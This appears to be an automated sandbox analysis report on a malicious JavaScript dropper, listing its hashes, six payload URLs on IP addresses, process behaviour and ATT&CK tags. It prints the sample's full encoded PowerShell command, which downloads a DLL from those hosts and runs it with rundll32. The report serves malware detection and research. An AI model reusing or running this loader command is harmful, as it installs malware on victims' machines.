026b1ae348a44daf964d7f3271a84c7e7b0f61cf5932f7b07ced258e98f8865d

Analysis

max time kernel
31s
max time network
33s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
16-03-2023 09:09

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General

Target

aN-weyGdf-4734.js
Size

49KB
MD5

110f35fe0979fdc0adca48ccf2bf8567
SHA1

071215a9777e6eae6bec83a3e7a8ab975cc608d7
SHA256

026b1ae348a44daf964d7f3271a84c7e7b0f61cf5932f7b07ced258e98f8865d
SHA512

32f9fd8d63fcd11ffa43732ab4f7f4f3f4e20f502be0349d67f486445bc8505236847fb93f062be5bdc660eb882941296e60015cc6aff5df9c1ffc114df7222c
SSDEEP

768:+G3YgQtUjXN6ktwyjGFnTZOOoYfPxpmdUJRF+nS9ITetKfuTX6LGUwDJoHnE84/L:/ngowFnTEOoYfjvho7Hnn21T

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://198.44.132.63/nCePgMjGvyZW.dat

exe.dropper

http://87.236.146.84/C0fB6OJKc.dat

exe.dropper

http://139.180.170.206/NvXo4Oo4Rh.dat

exe.dropper

http://128.254.207.26/4qgi7k.dat

exe.dropper

http://206.53.48.51/6K2WKcT1gN.dat

exe.dropper

http://94.131.115.19/sw2XwiFns.dat

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1684	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1684	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1260 wrote to memory of 1684	1260	wscript.exe	28
PID 1260 wrote to memory of 1684	1260	wscript.exe	28
PID 1260 wrote to memory of 1684	1260	wscript.exe	28

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\aN-weyGdf-4734.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1260
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMgA7ACQATQBvAG4AbwBuAHUAYwBsAGUAYQByACAAPQAgACgAIgBoAHQAdABwADoALwAvADEAOQA4AC4ANAA0AC4AMQAzADIALgA2ADMALwBuAEMAZQBQAGcATQBqAEcAdgB5AFoAVwAuAGQAYQB0ACwAaAB0AHQAcAA6AC8ALwA4ADcALgAyADMANgAuADEANAA2AC4AOAA0AC8AQwAwAGYAQgA2AE8ASgBLAGMALgBkAGEAdAAsAGgAdAB0AHAAOgAvAC8AMQAzADkALgAxADgAMAAuADEANwAwAC4AMgAwADYALwBOAHYAWABvADQATwBvADQAUgBoAC4AZABhAHQALABoAHQAdABwADoALwAvADEAMgA4AC4AMgA1ADQALgAyADAANwAuADIANgAvADQAcQBnAGkANwBrAC4AZABhAHQALABoAHQAdABwADoALwAvADIAMAA2AC4ANQAzAC4ANAA4AC4ANQAxAC8ANgBLADIAVwBLAGMAVAAxAGcATgAuAGQAYQB0ACwAaAB0AHQAcAA6AC8ALwA5ADQALgAxADMAMQAuADEAMQA1AC4AMQA5AC8AcwB3ADIAWAB3AGkARgBuAHMALgBkAGEAdAAiACkALgBzAHAAbABpAHQAKAAiACwAIgApADsAZgBvAHIAZQBhAGMAaAAgACgAJAB3AGEAcgBkAGkAdABlAFMAdABhAGMAawBhAGcAZQAgAGkAbgAgACQATQBvAG4AbwBuAHUAYwBsAGUAYQByACkAIAB7AHQAcgB5ACAAewBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAkAHcAYQByAGQAaQB0AGUAUwB0AGEAYwBrAGEAZwBlACAALQBUAGkAbQBlAG8AdQB0AFMAZQBjACAAMQA1ACAALQBPACAAJABlAG4AdgA6AFQARQBNAFAAXABuAGUAcABoAHIAbwBsAHkAdABpAGMAUwBhAHQAdQByAGQAYQB5AC4AZABsAGwAOwBpAGYAIAAoACgARwBlAHQALQBJAHQAZQBtACAAJABlAG4AdgA6AFQARQBNAFAAXABuAGUAcABoAHIAbwBsAHkAdABpAGMAUwBhAHQAdQByAGQAYQB5AC4AZABsAGwAKQAuAGwAZQBuAGcAdABoACAALQBnAGUAIAAxADAAMAAwADAAMAApACAAewBzAHQAYQByAHQAIAByAHUAbgBkAGwAbAAzADIAIAAkAGUAbgB2ADoAVABFAE0AUABcAFwAbgBlAHAAaAByAG8AbAB5AHQAaQBjAFMAYQB0AHUAcgBkAGEAeQAuAGQAbABsACwAWABTADgAOAA7AGIAcgBlAGEAawA7AH0AfQBjAGEAdABjAGgAIAB7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADIAOwB9AH0A"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1684

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1684-58-0x000000001B490000-0x000000001B772000-memory.dmp

Filesize
2.9MB

Download
memory/1684-59-0x0000000002420000-0x0000000002428000-memory.dmp

Filesize
32KB

Download
memory/1684-60-0x0000000002970000-0x00000000029F0000-memory.dmp

Filesize
512KB

Download
memory/1684-61-0x0000000002970000-0x00000000029F0000-memory.dmp

Filesize
512KB

Download
memory/1684-62-0x0000000002970000-0x00000000029F0000-memory.dmp

Filesize
512KB

Download
memory/1684-63-0x0000000002970000-0x00000000029F0000-memory.dmp

Filesize
512KB

Download
memory/1684-64-0x0000000002970000-0x00000000029F0000-memory.dmp

Filesize
512KB

Download
memory/1684-65-0x0000000002970000-0x00000000029F0000-memory.dmp

Filesize
512KB

Download
memory/1684-66-0x0000000002970000-0x00000000029F0000-memory.dmp

Filesize
512KB

Download